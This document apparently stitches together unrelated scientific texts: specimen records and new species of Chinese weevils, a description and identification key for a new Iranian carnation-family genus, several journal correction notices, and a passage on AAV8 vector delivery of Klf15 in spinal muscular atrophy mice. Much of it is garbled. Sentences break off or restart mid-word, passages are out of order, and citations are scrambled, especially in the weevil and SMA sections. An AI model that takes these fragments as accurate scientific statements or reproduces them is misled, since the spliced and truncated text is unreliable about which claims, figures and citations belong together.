200347E16381-005D-55D2-90D3-30D68AFE87AARhinodontusmongolicus Borovec, 2003: 36 ; Inner Mongolia Autonomous Region • 1 ♀; 阿拉善左旗贺兰山哈拉乌主峰; 1 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965118; • 1 ♀; 阿拉善左旗贺兰山强岗岭 ; 8 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965131; • 1 ♀; 阿拉善左旗贺兰山水磨沟正沟 ; 27 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965133; • 1♀; 阿拉善左旗贺兰山哈拉乌青树湾 ; 30 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965137; • 1 ♀; 阿拉善左旗贺兰山水磨沟 ; 25 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1941074.China – ZIN; • 1 ♀; Ara-Khangaiskyi Aimak, 20 km NE Tevshrulakh; 17 Jun. 1975; Emelianov leg.; ZIN; • 1 ♀; Uver Khangaiskyi Aimak, Orkhon, 15 km W Bat-Ulgyi; 22 Sept. 1981; Korolas leg.; ZIN.Mongolia • 1 ♀; Uver Khangaiskyi Aimak, Arc-Bogdo Mts., 20 km S Khovda; 12–13 Aug. 1967; Kerzhner leg.; Rhinodontusmongolicus is very easy distinguishable from all other species of Rhinodontus by the prominent sulci covering eyes in dorsal view and by the slender antennal scape.The species was described based on 17 females from Mongolia, Ulaan Baatar and these are the first additional specimens since the original description. This is also the first record of the species in China Fig. . RhinodoTaxon classificationAnimaliaColeopteraCurculionidaeVoss, 19675248D370-C7EE-5AEC-83FF-00CE501EE92DRhinodontusproximus Voss, 1967: 275 ; Inner Mongolia Autonomous Region • 1 ♀; 阿拉善左旗贺兰山南寺雪岭子; 11 Aug. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1965149; • 4 ♀♀; 阿拉善左旗水磨沟 ; 25 Jul. 2010; 黄鑫磊 [X.L. Huang leg.]; IZCAS, IOZ(E)1941092–1941095. – Gansu Prov. [Kan-Ssu Prov.] • 1 ♀; 1884; O. Potanin leg.; ZIN.China – 45°55.1'N, 101°10.4'E; 2050 m, a.s.l.; 8 Jun. 2013; M. Košťál leg.; MKBC; • 2 ♀♀; Uver Khangaisk Aimak, Arc-Bogdo Mts., 20 km S Khovda; 12–13 Aug. 1967; Kerzchner leg.; ZIN; • 2 ♀♀; Iuzhno-Gob. Aimak, Ukh-Shankhai; 12 Jun. 1972; ZIN; • 3 ♀♀; Iuzhno-Gob. Aimak, 25 km SW Bulgan; 5 Aug. 1971; ZIN; • 1 ♀; Iuzhno-Gob. Aimak, Navtgar-Ul hill, 35 km NW Iamat-Ul; 9 Aug. 1971; Emelianov leg.; ZIN; • 3 ♀♀; Vostochno-Gob. Aimak, Nomt-Ul hill, 30 km SSE Shokhoi-Nur lake; 26 Jun. 1971; Emelianov & Kozlov leg.; ZIN; • 1 ♀; Baian-Kchongor. Aimak, 20 km ESE Uldzint; 9 Jul. 1970; Emelianov leg.; ZIN; • 2 ♀♀; Iuzhno-Gob. Aimak, Tachilga-Ul hill, 35 km NNE Dalan-Deadagad; 10 Aug. 1971; Kerzhner leg.; ZIN; • 1 ♀; Centralnyi Aimak, Dzorgol-Khairkhan, Uver-Undzhul-Ul hill; 16 Jul. 1973; G. Medvedev leg.; ZIN; • 1 ♀; Iuzhno-Gob. Aimak, Khuryn-Khalkha-Nur, 25 km W Noën; 20 Jun. 1973; G. Medvedev leg.; ZIN.Mongolia • 1 ♀; Bayankhongor aym., Khangayan Nuruu Mts., Tsagaan-Ovoo 25 km W; R.ignarus, but differs by possessing eight or nine spines at apex of protibia, tarsal claws connate only in the very short basal part, and also the more slender antenna.This species was described from four specimens from two localities in Mongolia, later recorded also from China. It is very similar to Taxon classificationAnimaliaColeopteraCurculionidaeBorovec, 200369834EBD-F4CA-58B8-89DE-37081AC6336CRhinodontussawadai Borovec, 2003: 40 .Rhinodontussawadai : Xinjiang Autonomous Region • 1 ♀; Polu; 13 May 1890; ZIN.China – Rhinodontussawadai can be distinguished from other species of the genus by its wider rostrum, curved scape, missing prominences above eyes, and less enlarged outside apex of protibia.This species was described based on three females from China, Xinjiang; this is the first additional specimen since the original description. Taxon classificationAnimaliaColeopteraCurculionidaeWollaston, 18692D61DFD1-3A97-57E0-AD58-904BEFFD9632Trachyphloeosoma Wollaston, 1869: 414 ; Trachyphloeini by Entiminae, surveyed the Japanese species of the genus. China is the most northwestern part of the range of the genus, and Trachyphloeosoma was first recorded from this country only in 2009 by Borovec, based on one male from Yunnan, and subsequently by T.advena Zimmerman, 1956 and was listed under this name in the Palaearctic catalogue  23 Jun. 2016; J. Hájek & J. Růžička leg.; sift ♯05, border of old orchard, wet debris under trees; NMPC; • 2 ♀♀; same data as for preceding; RBSC; • 1 ♀; same data as for preceding; IZCAS; • 2 ♀♀; Tengchong city, Laifeng Shan Forest Park; 25°01.24'N, 98°28.94'E; 1800 m a.s.l.; (CH05) 22 Jun. 2016; J. Hájek & J. Růžička leg.; sift ♯04, dense mixed forest above tombs near track, wet debris in terrain depressions; NMPC.Body length: 1.87–2.39 mm, holotype 2.13 mm.Body . The Czech name Jan has its nickname “Honza”. The specific name is a noun in apposition.China, Yunnan Fig. .Trachyphloeosomahonza sp. nov. shares with T.martin sp. nov. short and robust protibiae, short and wide rostrum and subspatulate setae. It is easily distinguished from T.martin sp. nov. by elytral setae on all elytral intervals, dorsal margin of antennal scrobes directed towards middle of eye and female sternite VIII lacking fenestra, while T.martin sp. nov. has elytral setae only on odd intervals, dorsal margin of scrobes directed above dorsal margin of eye and female sternite VIII with longitudinal fenestra. In comparison with non-Chinese species, T.honza sp. nov. is similar to T.advena Zimmerman, 1956, known from Japan, Korea and introduced to U.S.A. and T.ryukyuensis Morimoto, 2015, known from Japan, in the funicle being 7-segmented and body covered by appressed setae and elytra with raised setae on all intervals. It is possible to distinguish T.honza sp. nov. from both by short subspatulate setae, distinctly shorter than width of an elytral interval , elytral setae distinctly bent backwards in lateral view (perpendicularly erect in T.advena and T.ryukyuensis) and plate of sternite VIII in females without fenestra (with fenestra in T.advena and T.ryukyuensis).Taxon classificationAnimaliaColeopteraCurculionidae38BF82DD-1327-54EE-BFAE-7167A564531Bhttp://zoobank.org/766B872B-D8F0-4E20-8DD4-D27E44BAEA02China, Jiangxi, Jinggangshan Mts., Xiangzhou.Holotype. China – Jiangxi Prov. • 1 ♀; Jinggangshan Mts., Xiangzhou ; 26°35.5'N, 114°16.0'E; 374 m a.s.l.; 26 Apr. 2011; Fikáček & Hájek leg.; sifting, accumulation of moist leaf litter along the stream and on the steep slope above the stream in the sparse secondary forest; [MF08]; NMPC. Paratypes. China – Jiangxi Prov. • 1 ♀; the same data as holotype; NMPC; • 1 ♀; same data as holotype; IZCAS.Body length: 2.06–2.44 mm, holotype 2.06 mm.Body , elytra long, oval, 1.42–1.46 × longer than wide  and protibiae slender, distinctly curved inwards at apical portion  and also plate of sternite VIII in females without fenestra (with fenestra in T.advena and T.ryukyuensis).Taxon classificationAnimaliaColeopteraCurculionidae8CDC37CF-558E-5FBC-A722-D174303EC669http://zoobank.org/0F81305F-227E-49C0-95E3-B4FB14BB3F1CChina, Hainan, Limushan Mts.Holotype. China – Hainan Prov. • 1 ♂; Limushan Mts., mountains above frst. admin. Centre; 19°10.5–19°10.9'N, 109°44–109°45'E; 650–900 m a.s.l.; 6 May 2011; Fikáček leg.; sifting – small accumulations of moist leaf litter along an on the trail in secondary forest partly with Cyathea and bamboo; MF19; NMPC. Paratypes. China – Hainan Prov. • 1 ♀; the same data as holotype; NMPC; • 1 ♀; same data as for preceding; IZCAS.Body length: 1.63–2.31 mm, holotype 1.63 mm.Body  as long as tarsomere 3, strikingly widened apicad with very long, strongly divaricate claws, as long as part of onychium projecting beyond lobes of tarsomere 3.Abdominal ventrites 1.14–1.19 × longer than wide, sparsely roughly punctate; ventrite 2 slightly longer than ventrite 1 and distinctly longer than ventrites 3 and 4 combined; suture between ventrites 1 and 2 sinuate, the others straight. Metaventral process as wide as transverse diameter of metacoxa.Penis  known from St. Helena, where it is apparently introduced (but region of origin not yet known). Trachyphloeosomamartin sp. nov. is similar to them in having raised elytral setae only on odd intervals, but distinguished from them by a more slender and longer rostrum, 1.38–1.42 × wider than long (1.56–1.73 × in T.roelofsi and T.setosum), longer and more slender elytra, 1.44–1.48 × longer than wide, (1.19–1.27 × in T.roelofsi and T.setosum), and also by the different shape of the spermatheca, with collum distinctly longer than wide (isodiametric in T.roelofsi), or long and irregularly curved cornu (short and regularly curved in T.setosum).Taxon classificationAnimaliaColeopteraCurculionidaeSharp, 18966CE3DF4D-8704-5EC3-BD3F-D218E9B9E146Trachyphloeopssetosusnon Wollaston, 1869). Roelofs 1873: 166 (TrachyphloeosomaroelofsiTrachyphloeopssetosus Roelofs);  Sharp, 1896: 92  Beitou Twnsh., Taipei Co., S. Samau Mt.; 3 Jan. 2009; S. Vít leg.; dead leaves; NMPC; • 1 ♀; Rd. Jhuzihhu/Shuiwei, Yangmingshan Mts., slopes E of Mt. Datun, Taipei Co.; 650 m a.s.l.; 24 Oct. 2007; S. Vít leg.; putresc. base of Cryptomeria (?); NMPC.China – Trachyphloeosomasetosum Wollaston, 1869 from St. Helena with Sharp´s material of T.roelofsi from Japan and found the two series represent only one species and placed them in synonymy. However, T.roelofsi as an independent species, and distinguished it from T.setosus Wollaston from St. Helena. Trachyphloeosomaroelofsi is thus known from Japan and Taiwan, while T.setosus is assumed as a species introduced to St. Helena without knowledge of its original country.This species was described by Sharp from Nagasaki, Japan.


Yazdana shirkuhensis gen. & spec. nov.  is described and illustrated from the high alpine zone of this mountain. Molecular phylogenetic analyses of nuclear and plastid DNA sequence data show that Y. shirkuhensis is related to Cyathophylla and Heterochroa (tribe Caryophylleae). The newly described genus and species accentuate Shirkuh Mts. as a center of endemism, which harbors a high number of narrowly distributed species, mostly in high elevations reaching alpine habitats. As this area is currently not protected, a conservation priority is highlighted for high elevations of Shirkuh Mts.Although mountain ranges are often recognized as global biodiversity hotspots with a high level of endemism, diversity and biogeographic connections of isolated and weakly explored mountains remain poorly understood. This is also the case for Shirkuh Mts. in central Iran. Here,  C. Wu & C. Y. Wu, Saponaria L.), of which seven are found in Iran  are located in the southern part of the Irano‐Turanian region, with a dry and continental climate Zohary, , and ann2.2Plant material of the new taxon was collected in early July 2012 and, in the course of a trip dedicated to re‐collect this species, in mid July 2019. For the molecular investigation, leaves of six individuals  were used. For detailed morphological investigation, 18 individuals (3 from 2012 and 15 from 2019) were collected as vouchers.2.3rps16 intron and the nuclear ribosomal ITS  regions were amplified and sequenced using the primers rpsF and rpsR2  and the addition of 3% DMSO (Sigma‐Aldrich) for ITS.Total genomic DNA was extracted using the DNeasy Plant Mini Kit  according to the manufacturer's protocol. The plastid https://www.geneious.com). The 12 newly obtained sequences (six for each marker) were added to the Caryophylleae data set of Madhani et al. (rps16 data set contained 119 accessions representing 86 species (Doc. S1). Following Madhani et al. (Silene (five species sampled) was selected as outgroup. Nuclear and plastid DNA sequence data were analyzed separately and jointly. Combinability of the markers was assessed with the incongruence length difference (ILD) test  were analyzed using maximum likelihood (ML) and Bayesian methods. The best‐fit substitution models for the ITS and the rps16 data, determined using the Akaike Information Criterion (AIC) as implemented in jModelTest 2.1.4  using 1000 bootstrap replicates, obtained by the rapid bootstrap algorithm  in Shirkuh Mts. at elevations above 1400 m a.s.l. were recorded, and their distribution patterns in different mountain ranges of Iran . The new taxon is placed in tribe Caryophylleae with strong support as closely related to Cyathophylla and Heterochroa . Additional specimens: Iran, Yazd, Shirkuh Mt., 31.610° N, 54.068° E, 4000 m a.s.l., on scree grounds, 5 July 2012, J. Noroozi 2827 (WU).Type: Cyathophylla and Heterochroa, but it differs from Cyathophylla by non‐perfoliate leaves, bicolored petals, and capsules ±enclosed in the calyx, and from Heterochroa in being annual, possessing dark purple stems, having basal spathulate leaves and capsules ±enclosed in the calyx. A comparison among the three genera is provided in Table Diagnosis: This monotypic genus is similar to Note: The generic and the specific names are published here simultaneously via a single diagnosis , emarginate, 4–4.5 mm long, only slightly clawed; stamens 10, enclosed, 3.5–4 mm, developing non‐simultaneously ; styles 2, 1.5–2 mm; ovary with a short gynophore; ovules 6–10; capsules oblong, slightly shorter than or subequal to the calyx, opening with 4 valves; seeds 1–8, reniform to reniform‐roundish, black, 1 × 0.8 mm.Etymology: The generic name refers to the city of Yazd in central Iran, whereas the specific name refers to Shirkuh Mts. in the vicinity of Yazd.Distribution: It is found only in Shirkuh Mts., immediately below the highest summit (4050 m a.s.l.) on the northern slope.Yazdana, based on six vegetation plots (each of 5 × 5 m), are presented in Table Senecio has been discovered  without particular attention to the population size. In 2019, the location was well explored to find more individuals of the species and to make more detailed observations on its ecology and accompanying species. The species grows only in the northern slope and in a few scree patches from 3950 up to 4050 m a.s.l. The size of the population was estimated to have been between 100 to 200 individuals in this year. Its conservation status is, thus, given as Critically Endangered  according to IUCN criterion B  hilum; embryo straight………………………………………………………………21b.reniform‐roundish or comma‐shaped, with lateral hilum; embryo curved or hook‐shaped………………………………………………………………….5Seeds reniform, reniform‐oblong, 2a.PsammosileneLeaves with short petiole, ovate; stamens 5; capsules membranous, nearly indehiscent……………..2b.Leaves sessile, linear, subulate, grass‐like; stamens (5)10; capsules papery, dehiscent…………………………………..33a.Velezia); calyx tube long tubular, teeth straight……………………………………………………………………………………….Dianthus (incl. Velezia)Calyx without membranous commissures, with 35 or more veins, rarely 5‐15‐nerved Seeds >1.5 mm, with thin margin, smooth on surface…………………………4b.PetrorhagiaSeeds <1.5 mm, with thickened margin, reticulate on surface……………………………………………………..5a.Seeds comma‐shaped (or oblong), with hook‐shaped embryo……………………………………………………………………65b.reniform‐roundish, or reniform‐oblong, embryo curved…………………………………………….7Seeds reniform, 6a.GraecobolanthusPetals turning abruptly downward and becoming clearly deflexed (Greece)……………………6b.Bolanthus (incl. Phrynella)Petals recurved gradually ……………………………………………………………7a.DiaphanopteraCalyx bladdery inflated, or turbinate, constricted at teeth, commissural region membranous hyaline, sometimes wing‐like……………………………………..7b.cylindrical, or tubular, if inflated, commissural regions papery or leafy and main veins with leafy wings……………………………………………………….8Calyx campanulate, 8a.AcanthophyllumBracteoles present, leafy, papery or rarely membranous; calyx papery in texture or only membranous at intervals…………………………………………….8b.Bracteoles absent…………………………………………………….99a.Gypsophila (cf. Vaccaria)Calyx bladdery inflated, nerves prominent and thick, costate, or winged, midveins 5; bracteoles membranous hyaline……………………………………..9b.cylindrical, or obconical, not much inflated, lateral nerves obscure, not prominent and thick, midveins 5 or more; bracteoles absent……………..10Calyx tubular, campanulate, 10a.Calyx obscurely nerved or with 15‐25 nerves, commissures absent or present; petals inconspicuous, or clawed, mostly with appendages……………………………..1110b.10 nerved, with membranous commissures; petals not or only indistinctly clawed, without appendages…………………………………………………………………………12Calyx 5‐11a.CyathophyllaPlants annual; inflorescences congested; capsule slightly longer than the calyx; coronal scales absent…………………………………………………….11b.SaponariaPlants annual, biennial or perennial; inflorescences usually lax; capsule mostly shorter than the calyx; coronal scales mostly present………………………12a.PetroanaLeaves fleshy, spathulate; flowers very small: calyx <4mm, corolla<5 mm; seed testa with swollen cells tuberculate on periclinal wall, testa cells polygonal‐oblong, moderately elongated ……………………………………………………….12b.lanceolate, or ovate; flowers small or large; seed testa variously shaped, with or without tubercles……………………………13Leaves not fleshy or subfleshy, linear, 13a.Petals bicolored……………………………………………………..1413b.Petals always concolored, variously colored; leaves slender, in few species triquetrous, then the plants mostly caespitose, paired at nodes………………………….1514a.Petals red on the outer surface, white or pink on the inner surface; leaves triquetrous, mostly 3 or 4 at each node ………………………..Balkana14b.YazdanaPetals greenish at base, white to white tinged with purple at apex, leaves slender, paired at each node (Iran)…………………………………………………………….15a.The stigmatic surface terminal; ovules fewer than 24…………………………………………………………………..1615b.The stigmatic surface extending along the inner side of styles; ovules 24‐36………………………………………………..2016a.AcanthophyllumStem nodes with small lateral shoots in leaf axils giving a verticillate appearance; leaves acerose, spiny, or terminating to a spine………………………..16b.G. acantholimoides and G. pinifolia……………..17Lateral shoots in leaf axils absent; leaves not spiny except in 17a.Capsules shorter than the calyx……………………………….1817b.Capsules exceeding the calyx…………………………………..1918a.Bolanthus confertifoliusPlants annual, shorter than 10 cm, covered by long glandular hairs………………………..18b.GypsophilaPlants perennial, if annual then taller than 10 cm and glandular hairs absent or short……………………19a.Acanthophyllum (cf. A. cerastioides)Plants perennial; capsules ±indehiscent…………………………………………………19b.Plants annual or perennial; capsules dehiscent…………2020a.HeterochroaCalyx without membranous commissural intervals or with very narrow ones, calcium oxalate crystals absent; stamens shorter than the petals……………….20b.Calyx with membranous commissural intervals encompassing calcium oxalate crystals; stamens longer (or sometimes shorter) than petals………………………………2121a.PsammophiliellaAnnual plants with fibrous roots, puberulent below and glabrous in inflorescence ………………. 21b.GypsophilaAnnual or perennial plants with tap root, variously hairy………………………………………………………….Identification key: To allow 3.2A total of 125 plant species endemic to the Iranian Plateau are recorded from Shirkuh Mts. above 1400 m a.s.l. Fig. , with 13Acantholimon horridum Bunge, Plumbaginaceae; Echinops cervicornis Bornm., Asteraceae), three species between 2000 and 2500 m a.s.l. , three species between 2500 and 3000 m a.s.l. , one species between 3000 and 3500 m , and four species between 3500 and 4050 m a.s.l. . A. issatissensis was described as a new species  in a single trip demonstrates that the plant diversity of this area is still poorly explored. Therefore, detailed studies of flora and vegetation of the Shirkuh Mts., especially in high elevations, are highly recommended. Naturally, the area size decreases sharply from lowlands to high elevations. Whereas plant diversity increases until mid elevation (ca. 2000 m a.s.l.), it decreases gradually until the nival zone , voucher (herbarium), GenBank accession numbers for ITS and rps16, respectively. Species names follow the taxonomic treatment suggested in the present study.Click here for additional data file.Doc. S2. All phylogenetic trees obtained from three datasets using Maximum likelihood and Bayesian approaches.Click here for additional data file.Supporting information.Click here for additional data file.Supporting information.Click here for additional data file.Supporting information.Click here for additional data file.Supporting information.Click here for additional data file.Supporting information.Click here for additional data file.


Nature Communications 10.1038/s41467-020-18011-9, published online 25 August 2020.Correction to: M. smegmatis Sdh2’, where the Sdh2 apparent catalytic constant (kcat) value was incorrectly stated as (3.16 ± 0.07) × 104 s−1, rather than the correct value of 3.16 ± 0.07 s−1. The original version of this Article also contained an error in the Results and discussion section ‘QD-binding site contributes to the structure-based drug discovery’, where the kcat values of the QD1 and QD mutants were incorrectly stated as (2.16 ± 0.04) × 104 s−1 and (1.48 ± 0.04) × 104 s−1, which has been corrected to 2.16 ± 0.04 s−1 and 1.48 ± 0.04 s−1, respectively. This has been corrected in both the PDF and HTML versions of the Article.The original version of this Article contained an error in the second last sentence of the Results and discussion section ‘Purification and characterization of


There are errors in the mean values in Row “Head throws” of column “CONT”: Original “1.94”, Corrected “2.53”Row “Head throws” of column “B&W”: Original “0.72”, Corrected “0.89”Row “Head throws” of column “B”: Original “1.89”, Corrected “2.14”Row “Eat beats” of column “CONT”: Original “14.8”, Corrected “13.2”Please see the correct There are also errors in the Supporting Information, S1 File(XLSX)Click here for additional data file.


Correction to: Scientific Reports 10.1038/s41598-018-21282-4, published online 16 February 2018This Article contains errors.As a result of errors during the figure assembly, in Figure 2 different frames from the same original image for “Burn + ITF/7 days” sample were used also for the image of the “Control/1 day” sample and the image for “Burn + ITF/5 days” sample. An incorrect image was also used for “Control/3 day” inset. The correct Figure 2 appears below as Figure Additionally, a Supplementary Information file containing original data for Figure Supplementary Information.


Scientific Reports 10.1038/s41598-018-29166-3, published online 18 July 2018Correction to: 2 should be given as ‘µM’ instead of ‘µg L−1’. The correct Figures In Figures 1 and 2B, the units for CO


While there are currently two approved gene-based therapies for SMA, availability, high cost, and differences in patient response indicate that alternative treatment options are needed. Optimal therapeutic strategies will likely be a combination of SMN-dependent and -independent treatments aimed at alleviating symptoms in the central nervous system and peripheral muscles. Krüppel-like factor 15 (KLF15) is a transcription factor that regulates key metabolic and ergogenic pathways in muscle. We have recently reported significant downregulation of Klf15 in muscle of presymptomatic SMA mice. Importantly, perinatal upregulation of Klf15 via transgenic and pharmacological methods resulted in improved disease phenotypes in SMA mice, including weight and survival. In the current study, we designed an adeno-associated virus serotype 8 (AAV8) vector to overexpress a codon-optimized Klf15 cDNA under the muscle-specific Spc5-12 promoter (AAV8-Klf15). Administration of AAV8-Klf15 to severe Taiwanese Smn−/−;SMN2 or intermediate SmnB/−2 SMA mice significantly increased Klf15 expression in muscle. We also observed significant activity of the AAV8-Klf15 vector in liver and heart. AAV8-mediated Klf15 overexpression moderately improved survival in the SmnB/−2 model but not in the Taiwanese mice. An inability to specifically induce Klf15 expression at physiological levels in a time- and tissue-dependent manner may have contributed to this limited efficacy. Thus, our work demonstrates that an AAV8-Spc5-12 vector induces high gene expression as early as P2 in several tissues including muscle, heart, and liver, but highlights the challenges of achieving meaningful vector-mediated transgene expression of Klf15.Spinal muscular atrophy (SMA) is a neuromuscular disease caused by loss of the  As aeletions . While aeletions , humans med SMN2 , which adegraded , 6. Impo™, was approved in December 2016 by the Food and Drug Administration (FDA) and in June 2017 by the European Medicines Agency (EMA) [SMN2 exon 7 inclusion [SMN1 via an adeno-associated virus serotype 9 (AAV9) gene therapy that received FDA approval in May 2019 [The first genetic therapy for SMA, nusinersen/Spinrazacy (EMA) . This annclusion . ZolgensMay 2019 . AdditioMay 2019 . While tMay 2019 –15.Klf15) in skeletal muscle of SMA mice during disease progression [Klf15 expression in presymptomatic SMA mice and found that its neonatal upregulation via pharmacological (prednisolone) or transgenic (muscle-specific Klf15 overexpression) interventions significantly improved several disease phenotypes in SMA mice [Klf15 in skeletal muscle of SMA may have resulted in compensatory mechanisms [Klf15 in skeletal muscle of neonatal SMA mice via a self-complementary adeno-associated virus serotype 2/8 and the Spc5-12 promoter. While this strategy led to substantial Klf15 expression in skeletal muscle of SMA mice and control littermates, there were no associated significant improvements in disease phenotypes. Nevertheless, AAV8-Klf15 injections resulted in pronounced expression as early as postnatal day 2 in several tissues, including muscle, liver, and heart, highlighting the potential of this specific viral construct for efficient perinatal delivery.Skeletal muscle with reduced levels of SMN displays both cell-autonomous and non-autonomous defects , 17 and gression . KLF15 igression –22. SpecSMA mice . Howeverchanisms . In thisSmn−/−;SMN2 2Hung/J, RRID: J:59313) [SmnB/−2 [ad libitum, 12 h light: 12 h dark cycle) at the Biomedical Sciences Unit, University of Oxford, according to procedures authorized by the UK Home Office . The viral constructs were diluted in sterile 0.9% saline and administered at the indicated dose at postnatal day (P) 0 by a facial vein intravenous injection [SmnB/−2 mice, weaned mice were given daily wet chow at the bottom of the cage to ensure proper access to food. Sample sizes were determined based on similar studies with SMA mice.Wild-type (WT) FVB/N mice were used for initial expression screening. The Taiwanese J:59313)  and the [Smn2B/−  mice (genjection . LittersKlf15 sequence:The generation of the self-complementary adeno-associated virus serotype 2/8 (scAAV2/8) vectors and quality control were performed by Atlantic Gene Therapies . The synthetic Spc5-12 promoter  was usedagcgcttcaccacaggctcggccaggccagcatggttgatcatctgctgcctgtggacgagacattcagcagccctaagtgttctgtgggctacctgggcgacagactggcctctagacagccttaccacatgctgccctctccaatcagcgaggacgactccgatgtgtctagcccttgtagctgtgcctctcctgacagccaggccttctgtagctgttactctgctggacctggacctgaggctcagggctctatcctggatttcctgctgagcagagctacactcggctctggcggaggatctggcggaatcggagattcttctggccctgtgacatggggctcttggagaagggctagcgtgcccgtgaaagaggaacacttctgcttccctgagttcctgagcggcgacaccgatgacgtgtccagacctttccagcctacactggaagagatcgaagagttcctcgaagagaacatggaagccgaagtgaaagaagcccctgagaacggctcccgcgacctggaaacatgttctcagctgtctgccggctctcacagaagccatctgcaccctgaaagcgccggcagagagagatgtacacctcctccaggtggaacatctggcggcggagcacaatctgctggcgaaggacctgctcatgatggacctgtgcctgtgctgctgcaaatccagcctgtggctgtgaagcaagaggctggaacaggaccagcttctcctggacaggctcctgaatctgtgaaggtggcccagctgctggtcaacatccagggacaaacattcgccctgctgcctcaggtggtgcccagcagtaatctgaacctgcctagcaagttcgtgcggatcgctcctgtgccaatcgctgctaagcctatcggatctggctctcttggtcctggaccagctggactgctcgtgggacagaagttccctaagaaccctgccgccgagctgctgaagatgcacaagtgtacattccccggctgctccaagatgtataccaagtcctctcacctgaaggcccacctgagaaggcataccggcgagaagcctttcgcttgcacatggcctggatgtggctggcggttcagcagatctgatgagctgagcaggcaccgcagatctcacagcggagtgaagccataccagtgtcctgtgtgcgagaagaagttcgccagaagcgaccacctgtccaagcacatcaaggtgcacagattccctagaagcagcagagccgtgcgggccatcaattgactgcagaagctt.5. Cells were harvested 3 days post-transduction for molecular analyses .C2C12 myoblast cells  were maiKlf15 sequence . RNA polymerase II polypeptide J (PolJ) was used as a validated stably expressed housekeeping gene [Quadriceps muscles, liver, and heart were harvested at the indicated time points during disease progression and immediately flash frozen. RNA was extracted with the RNeasy MiniKit (Qiagen). For C2C12 cells, the media was removed and cells were washed with phosphate buffered saline (PBS) before being directly lysed as per instructions within the RNeasy MiniKit (Qiagen). Reverse transcription was performed using the High-Capacity cDNA Reverse Transcription Kit (ThermoFisher Scientific). qPCR was performed using SYBR green Mastermix (ThermoFisher Scientific) and primers for the codon-optimized ing gene  . The two primer-probe sets yielded similar results (data not shown) and only data with primer set 2 are shown. No significant difference was detected between Smn+/−;SMN2 and Smn−/−;SMN2 mice for any of the tissues (data not shown) and mice from both genotypes were therefore pooled. No amplification could be seen in untreated samples (data not shown).In order to establish virus penetration into the tissue, TaqMan (ThermoFisher Scientific) qPCRs were performed using two primer-probe sets (Integrated DNA Technologies) specific to the AAV8 capsid . The results of the two primer-probe sets were each efficiency-adjusted and normalized to 5) and untreated cells were trypsinized and washed in fluorescence-activated cell sorting (FACS) buffer . Cells were pelleted by centrifugation at 300 × g for 5 min. The final cell pellet was resuspended in 200 μl of FACS buffer and the cell suspension was further diluted 1:2 in FACS buffer before detection in the Cytek DxP8 flow cytometer (Cytek® Biosciences). Cell viability was tested by adding 1 µl Sytox Red (Thermofisher) to the final cell suspension for 5 min at RT. The gating strategy included gating around the Sytox Red (RedFL1 channel) negative population following FCS/FCSW doublet exclusion. The remaining population was assessed for a GFP-shift by recording in the BluFL1 channel. A total of 10,000 cells was recorded for each sample replicate. Data were analyzed using Flowjo 10 software (TreeStar Inc.).Differentiated C2C12 cells 3 days post-transduction .C2C12 cells transduced with the Quadriceps muscles were harvested at the indicated time points during disease progression, fixed in 4% paraformaldehyde, cryopreserved in 30% sucrose, and cryosectioned at a thickness of 12 μm. The sections were immunostained with chicken anti-GFP antibody  and detected with Alexa-488-conjugated anti-chicken secondary antibody . Images were taken with an Olympus Fluoview FV1000 confocal microscope and processed with Fiji [t test or a two-way ANOVA followed by an uncorrected Fisher’s LSD multiple comparison test was used. Outliers were identified via the Grubbs’ test and subsequently removed. Instances of outlier removal are detailed in the relevant figure legends. For the Kaplan–Meier survival analysis, a log-rank test was used.All statistical analyses were performed using GraphPad Prism version 8.1.1 software. Exact sample sizes as well as description of sample collection, number of times the experiments were replicated and statistical measures and methods can be found in the figure legends. When appropriate, a Student’s unpaired two-tailed Klf15 expression in skeletal muscle, we utilized a self-complementary adeno-associated virus serotype 2/8 driven by the synthetic muscle-specific promoter Spc5-12 [Klf15, henceforth termed AAV8-Klf15). This combination of AAV and promoter has previously been successfully used for gene delivery to muscles for treatment of the muscle disorder Duchenne muscular dystrophy (DMD) [GFP construct was also generated (henceforth termed AAV8-GFP).To specifically induce  Spc5-12  (scAAV2/hy (DMD) . A contrGFP construct in differentiated C2C12 myoblasts [GFP (multiplicity of infection (MOI) 1E105) for 3 days and assessed for GFP expression compared with untreated cells. Both flow cytometry and live imaging analyses confirm the abundant presence of GFP in AAV8-transduced cells  demonstrate a significant increased expression of Klf15 mRNA compared with untreated cells  to P0 WT pups via a facial vein intravenous injection [Klf15 in the Taiwanese Smn−/−;SMN2 SMA mice [GFP expression at both P2 and P7, albeit variable between animals, with increased levels at the later time point  to both genotypes (data not shown). Seeing as this dose was not harmful with AAV8-GFP, the adverse effects are most likely due to the supraphysiological levels of Klf15. We therefore reduced the AAV8-GFP and AAV8-Klf15 dose to 2E10 vg/pup for subsequent administrations, which still allowed for an age-dependent increased expression of GFP , post-weaned mice demonstrate a growth-dependent gain in weight  and ~10 times (Klf15) higher than in skeletal muscle for both time points. Similarly, we find a significant upregulation of GFP and Klf15 mRNA in the hearts of AAV8-GFP-  and ~50 times (Klf15) higher at P2, while it was ~70 times (GFP) and ~10 times (Klf15) higher at P7 compared with skeletal muscle at those respective time points. Furthermore, qPCR analysis of AAV8 content in respective tissues, using capsid-specific primers, indeed demonstrates increased AAV8 presence in heart and liver compared with muscle, particularly at P2  or pharmacological (prednisolone) approaches results in improved disease phenotypes [Klf15 in skeletal muscle in perinatal mice by driving its expression via an AAV8-Spc5-12 vector. We find that while neonatal administration of the AAV8-Klf15 construct leads to significant increased levels of Klf15 in muscle, this has no overt effect on survival or weight gain in the severe Taiwanese SMA mice, while we observe a small improvement in the lifespan of the intermediate SmnB/−2 mice.We have recently demonstrated that enotypes . Here, wKlf15 in severe SMA mice may be due to several compounding factors. While the levels of Klf15 expression achieved with AAV8-Klf15 are similar to the levels observed in transgenic SMA mice overexpressing muscle-specific Klf15 at P2 (~5–10 fold greater than control littermates), the amounts measured in P7 AAV8-Klf15-treated animals are significantly greater than the transgenic mice   [Klf15 induction ceased at P7, specifically in SMA mice [Klf15 increase in P7 animals may be limited by compensatory inhibitory mechanisms due to already significantly increased Klf15 levels in symptomatic SMA mice compared with controls [Klf15 expression in presymptomatic stages only, which is not easily achieved as the kinetics of AAV-mediated overexpression require several days for efficient transgene activity. To 